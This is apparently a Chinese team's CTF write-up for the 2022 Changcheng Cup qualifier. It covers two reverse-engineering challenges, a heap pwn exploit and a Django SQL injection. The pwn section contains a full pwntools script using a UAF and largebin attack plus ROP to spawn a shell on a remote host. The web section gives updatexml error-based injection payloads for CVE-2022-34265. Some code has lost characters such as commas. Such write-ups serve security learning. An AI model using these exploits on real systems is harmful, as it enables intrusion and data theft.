S

SkYe231

V1

2022/11/21阅读:18主题:极客黑

2022-长城杯初赛Write up-by EchoSec安全团队

前言

EchoSec安全团队参加的首场比赛,在各位师傅们的输出下,也拿到第8名的成绩,虽然不算特别好,也是EchoSec安全团队迈出的第一步。同时欢迎各位有兴趣的师傅加入我们,一起学习进步。可+v:He1l_T4lk

re

rabbit_hole

打开之后很多花,我感觉没多少就直接手动patch,结果还真不少

patch完之后可以看到主函数

30[0] = v3;
  v30[1] = retaddr;
  v6 = alloca(4532);
  atexit(end);
  cout(std::cout"Help Alice find a way out of the rabbit hole:");
  gets_s(input, 0x100u);
  input_length = strlen(input);                 // input_length 16,134..
  v8 = BYTE2(input_length) ^ (16777619 * (BYTE1(input_length) ^ (16777619 * ((unsigned __int8)input_length ^ 0x50C5D1F))));
  v9 = HIBYTE(input_length) ^ (16777619 * v8);
  if ( v9 == 0x458766D3 )                       // input length = 134
  {
    strcpy(key, "The quick brown fox jumps over the lazy dog.");
    blow_fish_init((int)this, v4, v5, (int)key, v8);
    memset(key, 040);
    blow_fish_encrypt(this, (int)key, (int)input, v19);
    v20 = 0;
    while ( key[v20] == not[v20] )
    {
      if ( ++v20 >= 40 )
      {
        v21 = cout(std::cout"Can you get h3re? :>");
        std::ostream::operator<<(v21);
        return 0;
      }
    }
    v17 = (const char *)&unk_44C88;             // :<
LABEL_16:

其实主函数没什么用,主函数可以看到blow_fish,aes等相关的东西,仔细分析发现是无关的

从主函数的逻辑,也就是最后的结果字符串看

for ( k = 0;
        (HIBYTE(k) ^ (16777619 * (BYTE2(k) ^ (16777619 * (BYTE1(k) ^ (16777619 * ((unsigned __int8)k ^ 0x50C5D1F))))))) != 1563082853;
        ++k )
  {
    if ( *((_BYTE *)&v30[-1130] + k) != cipher[k] )
    {
      v15 = cout(std::cout"That is toooooooo bad :(");// to bad
      std::ostream::operator<<(v15);
      exit(-1);
    }
  }
  v16 = cout(std::cout"Not a very good path dont you think? :)");
  std::ostream::operator<<(v16);
  return 0;
}

哪怕通过了check也不是flag

仔细观察后发现在blow_fish_encrypt里面有seh,触发异常会调用,进入sub_411e0函数

.text:00041595                               loc_41595:                              ; DATA XREF: .rdata:stru_45340↓o
.text:00041595                               ;   __except(loc_41577) // owned by 41538
.text:00041595 8B 65 E8                      mov     esp, [ebp+ms_exc.old_esp]
.text:00041598 8B 40C                      mov     ecx, [ebp+arg_4]
.text:0004159B E8 40 FC FF FF                call    sub_411E0
.text:0004159B                               ;   } // starts at 41538

这里面才是我们要的东西

分析seh中各个try/except,会在0004136B发现在这样一部分代码,4个输入hjkl配上跳转,加上题目的提示

Alice saw a white rabbit talking to himself, and then out of curiosity, she followed him into a rabbit hole. Now, can you help her find the right way out of here?

猜测可能是迷宫题,迷宫题的话就需要找到迷宫的图,然后画出来就可以了,这个迷宫是两个数组组成,要相互异或,然后再异或行和列左移8位的值,具体xor在下图

.text:000413B804 11                      lea     eax, [ecx+edx]                  ; ecx是行数*0x15,edx是列数,ecx+edx表示地图数组偏移
.text:000413B0F B6 88 08 42 04 00          movzx   ecx, ds:byte_44208[eax]         ; 取出byte_44208对应索引值
.text:000413C4 33 085 C8 43 04 00          xor     ecx, ds:dword_443C8[eax*4]      ; 取出dword_443C8对应索引值与byte_44208对应值异或后存在ecx
.text:000413CB 8B C2                         mov     eax, edx
.text:000413CD C1 E0 08                      shl     eax, 8                          ; 列数左移8位后和ecx异或
.text:000413D0 33 C8                         xor     ecx, eax
.text:000413D2 33 CB                         xor     ecx, ebx                        ; 行数异或ecx
.text:000413D4 83 F9 01                      cmp     ecx, 1                          ; 对比值是否为1,为1则继续检查下一个输入,错误则exit
.text:000413D7 75 28                         jnz     short loc_41401

等效于

if ((byte)byte_44208[ecx+edx] ^ (dword)dword_443c8[ecx+edx] ^ (edx<<8) ^ ecx == 1){
    ...
}else{
    exit(0)
}

分析4个字符对应操作可以知道

.text:0004136B 36A                         cmp     al, 6Ah ; 'j'
.text:000413675 2A                         jnz     short loc_41399
.text:0004136D
.text:0004136F 43                            inc     ebx
.text:00041370 89 5D E0                      mov     [ebp+var_20], ebx               ; 行
.text:00041373 83 C1 15                      add     ecx, 15h                        ; 一行21
.text:00041376 89 4D D8                      mov     [ebp+var_28], ecx               ; 地图偏移

一行长度为0x15,高长度也为0x15,符合两个数组的大小0x15*0x15=441

提取两段数据,按规则每一位都算一下,最后结果只有0或1

x1 = [...]
x2 = [...]
x3 = []
for i in range(21):
    for j in range(21):
        x3.append(x1[i*0x15+j]^x2[i*0x15+j]^i^(j<<8))
print(hex(x1[21]))
for i in range(0,441,21):
    print(x3[i:i+21])

结果如下

[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0]
[1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0]
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0]
[1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0]
[1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0]
[1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0]
[0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0]
[0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0]
[0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0]
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0]
[0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0]
[0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]

按着1的方向走,得到最简结果

 .\rabbit_hole_release.exe
Help Alice find a way out of the rabbit hole:jjjllllllllllllllljjjjjjjjkjjkkkkhhhhhhhkkkkkkkkkkjjjjllljjjlllhhhhlljjjjjjkkkkkkkkjjlllllllllllhhlllllhhhlhhhhhhhhlljjjjjjjjjjjjjjjjl
You r3A1ly Have f0und the r1ght way!!! :)
The game has ended! Have you found a way out?
If you think you dothen your flag will be: flag{md5(input)}

exp:

flag = 'jjj'+'l'*15+'j'*8+'kjjkkkk'+'h'*7+'k'*10+'jjjj'+'llljjjlllhhhhll'+'j'*6+'k'*8+'jj'+'l'*11+'hhlllllhhhl'+'h'*8+'ll'+'j'*16+'l'
print(flag)
print(md5(flag.encode()).hexdigest())

baby_re

python编写的exe先pyinstxtractor.py提取pyc

python3.7提取出run.pyc后,uncompyle6转成python脚本

from new import *
print('welcome!!!')
flag_input = input('please input flag:')
if set(word) >= set(flag_input):
    pt = mmo(flag_input)
    flag = pt()
    if flag == '5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh=':
        print('right!!!')
        print('your flag: flag{' + flag_input + '}')
    else:
        print('Error')
else:
    print('please input again!')

发现用到了new库,这不是现有的库,而是出题人自己写的,在提取出来的文件中可以找到new.cp37-win_amd64.pyd文件,pyd文件很难看,查了一下大部分都是用测信道测试的方法来做,通俗的来说就是调用pyd中的函数来检测输入输出之间的差异,可能xor某些数值,幸运的是这题就是这样来做

只看密文知道至少有一个base64,ida 打开pyd查看一下字符串,发现pyd被upx加壳了,吾爱破解的脱壳软件脱壳失败,放到linux下的upx反而可以脱壳成功 upx -d new.cp37-win_amd64.pyd

ata:000000018000A710 aUkbnhwvcaest74 db 'uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm',0
.rdata:000000018000A710                                         ; DATA XREF: .data:000000018000E570↓o
.rdata:000000018000A751 align 8
.rdata:000000018000A758 aO0oo00o000oo00 db 'O0OO00O000OO00000',0
.rdata:000000018000A758                                         ; DATA XREF: .data:000000018000DEB8↓o
.rdata:000000018000A76A align 10h
.rdata:000000018000A770 aO000ooo00oo0o0 db 'O000OOO00OO0O0OO0',0
.rdata:000000018000A770                                         ; DATA XREF: .data:000000018000DDF0↓o
.rdata:000000018000A782 align 8
.rdata:000000018000A788 aO0000o000ooo0o db 'O0000O000OOO0OOOO',0
.rdata:000000018000A788                                         ; DATA XREF: .data:000000018000DDA0↓o
.rdata:000000018000A79A align 20h
.rdata:000000018000A7A0 aImport db '__import__',0               ; DATA XREF: .data:000000018000E160↓o
.rdata:000000018000A7AB align 10h
.rdata:000000018000A7B0 aMmoCall db 'mmo.__call__',0            ; DATA XREF: .data:000000018000E278↓o
.rdata:000000018000A7BD align 20h
.rdata:000000018000A7C0 aDoc_0 db '__doc__',0                   ; DATA XREF: .data:000000018000E0E8↓o
.rdata:000000018000A7C8 aMaketrans db 'maketrans',0             ; DATA XREF: .data:000000018000E200↓o
.rdata:000000018000A7D2 align 8
.rdata:000000018000A7D8 aName_1 db '__name__',0                 ; DATA XREF: .data:000000018000E318↓o
.rdata:000000018000A7E1 align 8
.rdata:000000018000A7E8 aOoooo0o000o00o db 'OOOOO0O000O00O0O0',0
.rdata:000000018000A7E8                                         ; DATA XREF: .data:000000018000DFA8↓o
.rdata:000000018000A7FA align 20h
.rdata:000000018000A800 aO0o0o00o0o0o00 db 'O0O0O00O0O0O00O00',0
.rdata:000000018000A800                                         ; DATA XREF: .data:000000018000DE90↓o
.rdata:000000018000A812 align 4
.rdata:000000018000A814 aSend_0 db 'send',0                     ; DATA XREF: .data:000000018000E4D0↓o
.rdata:000000018000A819 align 20h
.rdata:000000018000A820 aOo00o0oo00oo00 db 'OO00O0OO00OO0000O',0
.rdata:000000018000A820                                         ; DATA XREF: .data:000000018000DF30↓o
.rdata:000000018000A832 align 8
.rdata:000000018000A838 aTest db '__test__',0                   ; DATA XREF: .data:000000018000E4F8↓o
.rdata:000000018000A841 align 8
.rdata:000000018000A848 aMmoInit db 'mmo.__init__',0            ; DATA XREF: .data:000000018000E2A0↓o
.rdata:000000018000A855 align 8
.rdata:000000018000A858 aOo000ooo0o0ooL db 'oo000ooo0o0oo.<locals>.genexpr',0
.rdata:000000018000A858                                         ; DATA XREF: .data:000000018000E408↓o
.rdata:000000018000A877 align 8
.rdata:000000018000A878 aGenexpr_0 db 'genexpr',0               ; DATA XREF: .data:000000018000E138↓o
.rdata:000000018000A880 aAbcdefghijklmn_0 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

可以看到正常的base64表和一个base64表等长的表 uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm,直接base64解码什么都没有,考虑到可能base64换表了

尝试base64换表一下得到b"pUSs83T'D\x07\x02\x00^y\x12CG[]A<=kyYQ\x07lDR\x01\x01?"

这可能还用了其他函数加密,查阅了资料后发现可以本地python导入已有的pyd,使用help命令可以查看一些信息

In [2]: import new

In [3]: help(new)
Help on module new:

NAME
    new

DESCRIPTION
    Description:
    Autor: Emtanling
    Date: 2022-07-26 09:36:06
    LastEditors: Emtanling
    LastEditTime: 2022-07-26 09:49:34

CLASSES
    builtins.object
        mmo

    class mmo(builtins.object)
     |  mmo(O0000000O0000O00O)
     |
     |  Methods defined here:
     |
     |  __call__(OO00O00O00O0OO0O0)
     |
     |  __init__(OO0O0O000OO0OO0OO, O0000000O0000O00O)
     |
     |  ooo00o0o0o0(O00O0O0O00OOOO000)
     |
     |  ----------------------------------------------------------------------
     |  Data descriptors defined here:
     |
     |  __dict__
     |      dictionary for instance variables (if defined)
     |
     |  __weakref__
     |      list of weak references to the object (if defined)

FUNCTIONS
    oo000ooo0o0o0(OOOOO0O000O00O0O0)

    oo000ooo0o0oo(OO0000OOOOO0OOOO0)

DATA
    __test__ = {}
    word = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789...

FILE
    c:\users\axe\desktop\baby_re_bc0325445163f53c8ae03535511cf06a\new.pyd

里面有一些奇怪的函数名,没有看到base64,怀疑base64的函数名被改了

尝试写脚本测试一下源代码中的,把结果base64换表之后解密,再和输入值异或得到一个异或值,多加密几次发现异或值一样就可以确定了

from base64 import *
import new
string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def crack_base(c: str):
    string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
    string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    return  list(b64decode(c.translate(str.maketrans(string1,string2))))

pt1 = new.mmo('1'*32)
c1 = pt1() # 这是模拟正常加密
print(c1) # GDLoG1tPEV4hKIeCjHqvDh0gjhKaYjqNbEXvYhhKED7=
# 尝试base64换表解密
print(crack_base(c1))
# [121, 6, 91, 122, 104, 99, 87, 115, 68, 6, 82, 82, 90, 123, 70, 64, 71, 88, 88, 64, 104, 105, 107, 120, 9, 89, 6, 104, 65, 1, 85, 3]

# 测试第二组

pt2 = new.mmo('2'*32)
c2 = pt2() # 这是模拟正常加密
print(c2) # GOEgGjqOEcKcKEW2jrtWD82oj84yY1tfbIaWY8AbEOu=

# 尝试base64换表解密
print(crack_base(c2))
# [122, 5, 88, 121, 107, 96, 84, 112, 71, 5, 81, 81, 89, 120, 69, 67, 68, 91, 91, 67, 107, 106, 104, 123, 10, 90, 5, 107, 66, 2, 86, 0]

发现两组输入值之间相异或值为1,输入相异或也为1,那说明每次输入都是异或相同的值,我们讲密文和输入值相异或可以得到中间的异或值。输入长度为32是因为测试后发现输入再多就会报错,还有就是题目密文base64解密后长度为32位

exp:

from base64 import *

str1 = "5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh="
string1 = "uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
c =  b64decode(str1.translate(str.maketrans(string1,string2)))

plain=b'1'*32
cipher=[12169112210499871156868282901237064718888641041051071209896104651853]
key = [p^c for p,c in zip(plain,cipher)]
flag = [key[i]^c[i] for i in range(32)]
print(bytes(flag))

Pwn

glibc_master

Free 的时候没有清空存在 UAF ;输入的时候存在简单加密,IDA 反编译不出来函数,通过调试可以知道与固定字符进行异或操作;输出函数使用一定次数后会关闭 stdout ;后面还发现会禁用 free_hook 和 malloc_hook ;

利用 UAF 进行 largebin attack 攻击 mp_.tcache_bins ,将 tcache size 范围扩大;泄露出 environ 上面的栈地址;劫持返回地址运行 ROP getshell ;

from pwn import *
context.log_level = "debug"

p = process("./glibc_master")
p = remote("123.57.245.65",43526)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def dec(miw):
    key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    mingw = ''
    try:
        for i in range(len(miw)):
            mingw += chr(ord(miw[i])^ord(key[i%len(key)]))
        return mingw
    except:
        exit(-1)

def add0(i, s):
    p.sendlineafter(">>", str(1))
    p.sendlineafter("\n", str(i))
    p.sendlineafter("\n", str(s))

def edit0(i, content):
    p.sendlineafter(">>", str(2))
    p.sendlineafter("\n", str(i))
    p.sendafter("\n", content)

def show(i):
    p.sendlineafter(">>", str(3))
    p.sendlineafter("\n", str(i))

def delete0(i):
    p.sendlineafter(">>", str(4))
    p.sendlineafter("\n", str(i))

def add1(i, s):
    p.sendline(str(1))
    sleep(0.5)
    p.sendline(str(i))
    sleep(0.5)
    p.sendline(str(s))
    sleep(0.5)

def delete1(i):
    p.sendline(str(4))
    sleep(0.5)
    p.sendline(str(i))
    sleep(0.5)

def edit1(i, content):
    p.sendline(str(2))
    sleep(0.5)
    p.sendline(str(i))
    sleep(0.5)
    p.send(content)
    sleep(0.5)

add0(00x448)
add0(10x508)
add0(20x438)
add0(30x508)
add0(40x508)
add0(60x508)
add0(70x508)
delete0(0)
show(0)
leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8"\x00"))
print(hex(leak_addr))
libc_base = leak_addr - 2018272
environ = libc_base + libc.sym["environ"]
print(hex(libc_base))

add0(80x458
delete0(2)  
show(2)
ori_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8"\x00"))
mp_tcachebin = libc_base + 2015952

payload = p64(ori_addr) * 2 + p64(0) + p64(mp_tcachebin - 0x20)
edit0(0, payload + "\n")
add0(90x458)
delete0(7)
delete0(6)
edit0(6, p64(environ) + "\n")

add0(100x508)
add0(110x508)
show(11)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8"\x00"))
ret_addr = stack - 288

edit1(7, p64(0) * 2 + "\n"
delete1(7)
delete1(6)
edit1(6, dec(p64(ret_addr)) + "\n")
add1(120x508)
add1(130x508)
p.sendline(str(2))
p.sendline(str(13))

pop_rdi = libc_base + 0x23b72
ret = libc_base + 0x22679
payload = p64(ret) + p64(pop_rdi) + p64(ret_addr + 0x20)
payload += p64(libc_base + libc.sym['system']) + ";;;;sh".ljust(8,'\x00')
p.send(dec(payload)+'\n')
p.sendline("exec 1>&2")

p.interactive()

Web

Djangogogo

根据提示联想到最近的一个洞:CVE-2022-34265

  1. 根据报错信息拼接出正常回显的payload

    year%20FROM%20purchase_date))--
  2. 因为可以报错,直接报错注入,同时提示flag在flag表,直接查询

    ?name=YEAR FROM purchase_date)) and updatexml('~',concat('~',(select flag from flag),'~'),'~')-- 
  3. 只得到flag的前31位,用SQL函数进行切割

    ?name=YEAR FROM purchase_date)) and updatexml('~',concat('~',(substr((select flag from flag),32,64)),'~'),'~')-- 

声明

团队起步阶段,如果错误还望师傅们指正,同时欢迎加入我们WX:He1l_T4lk

  1. 本文初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,与EchoSec安全团队及作者无关!
  2. EchoSec 安全团队保留对文章绝对的解释权,转载与传播时须保证文章的完整性,同时标明出处。未经允许,禁止任何形式的转载或用于商业用途。

分类:

前端

标签:

计算机网络

作者介绍

S
SkYe231
V1